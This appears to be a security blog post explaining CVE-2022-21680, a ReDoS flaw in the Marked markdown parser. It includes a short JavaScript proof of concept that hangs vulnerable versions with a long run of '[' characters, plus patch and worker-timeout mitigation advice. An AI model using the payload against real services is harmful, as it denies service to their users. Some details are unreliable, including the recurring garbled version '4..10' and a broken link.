In early 2022, a serious vulnerability—CVE-2022-21680—was discovered in Marked, a popular JavaScript markdown parser and compiler library. This flaw made it possible for attackers to severely slow down or even crash applications by exploiting the way Marked uses regular expressions to parse markdown. If you're running any untrusted markdown through Marked versions before 4..10, this post is for you.

What is Marked and Who Uses It?

Marked is used in countless Node.js and frontend JavaScript apps to process markdown safely and quickly. Developers love it for its speed, extensibility, and compatibility. But the security of any markdown parser is crucial, especially when letting users submit their own content.

The Heart of the Problem: Catastrophic Backtracking in Regex

The vulnerability comes from what’s known as a regular expression denial of service (ReDoS). Some regular expressions, if written a certain way, will try millions (or billions) of paths when given weird input. This is called "catastrophic backtracking" and it can make simple inputs use huge amounts of CPU.

In Marked < 4..10, the regex in block.def was vulnerable

// block.js from Marked 4..9 (simplified for readability)
const block = {
  def: /^ {,3}\[([^\]]+)\]: *<?([^\s>]+)>?(?: +["(]([^\n]+)[")])? *(?:\n+|$)/,
  // ...other rules
};

[Link text]: https://example.com "Optional title"

If you pass an intentionally malformed markdown string, especially a very long string with lots of brackets (e.g., hundreds of consecutive [ characters with no matching ]), the regex will try every possible way to balance those brackets, clogging up the CPU.

How an Attacker Exploits This

Imagine you run a comment system, documentation tool, or wiki that parses markdown users submit. An attacker could post content designed to trip up Marked’s regex and hang your server or browser tab.

A "killer string" for this regex might look like this

[
[
[
[ // hundreds, even thousands, of consecutive [

Here's a JavaScript proof-of-concept

const marked = require('marked'); // Vulnerable version < 4..10

// Build a long attack string
let killerMarkdown = '['.repeat(10000);

console.time('parse');
try {
marked.parse(killerMarkdown);
} catch(e) {
// Marked may throw after a timeout or resource drain
}
console.timeEnd('parse');
// On a vulnerable version, this could freeze your app for seconds or minutes!

Real-World Impact

- Servers can be DOS’d: If your backend parses markdown from users, a few evil requests could max out your CPU.

Mitigation and Patch

The Marked team patched this bug in version 4..10. The dangerous regex was rewritten to avoid catastrophic backtracking. [See the commit here.

If you can’t upgrade, never pass untrusted markdown to the library. This is risky!

- As a workaround, run Marked in a worker process/thread with a timeout to ensure malicious input can’t hog resources indefinitely.

Running Marked in a Worker Example (Node.js)

const { Worker } = require('worker_threads');

// This helps, but upgrading is safer!

// Pass the markdown to a worker and kill it after 500ms if it hangs
function safeParse(markdown) {
  return new Promise((resolve, reject) => {
    const worker = new Worker(`
      const { parentPort } = require('worker_threads');
      parentPort.on('message', md => {
        const marked = require('marked');
        try {
          parentPort.postMessage(marked.parse(md));
        } catch (e) {
          parentPort.postMessage({ error: e.message });
        }
      });
    `, { eval: true });

    let timeout = setTimeout(() => {
      worker.terminate();
      reject(new Error('Parsing timed out!'));
    }, 500);

    worker.on('message', msg => {
      clearTimeout(timeout);
      if (msg && msg.error) reject(new Error(msg.error));
      else resolve(msg);
    });

    worker.postMessage(markdown);
  });
}

Original References

- Official CVE Record: CVE-2022-21680
- Marked Release Notes for 4..10
- Marked Issue #225
- OWASP ReDoS Explanation

Conclusion

CVE-2022-21680 is a reminder: regular expressions can be risky, especially in widely used libraries like Marked. Always keep dependencies updated, never parse untrusted input unless you’re protected, and watch out for ReDoS vulnerabilities in your stack. Upgrade today to keep your apps and users safe.


*If you found this helpful, share it with your team and check your markdown dependencies now!*

Timeline

Published on: 01/14/2022 17:15:00 UTC
Last modified on: 01/24/2022 19:31:00 UTC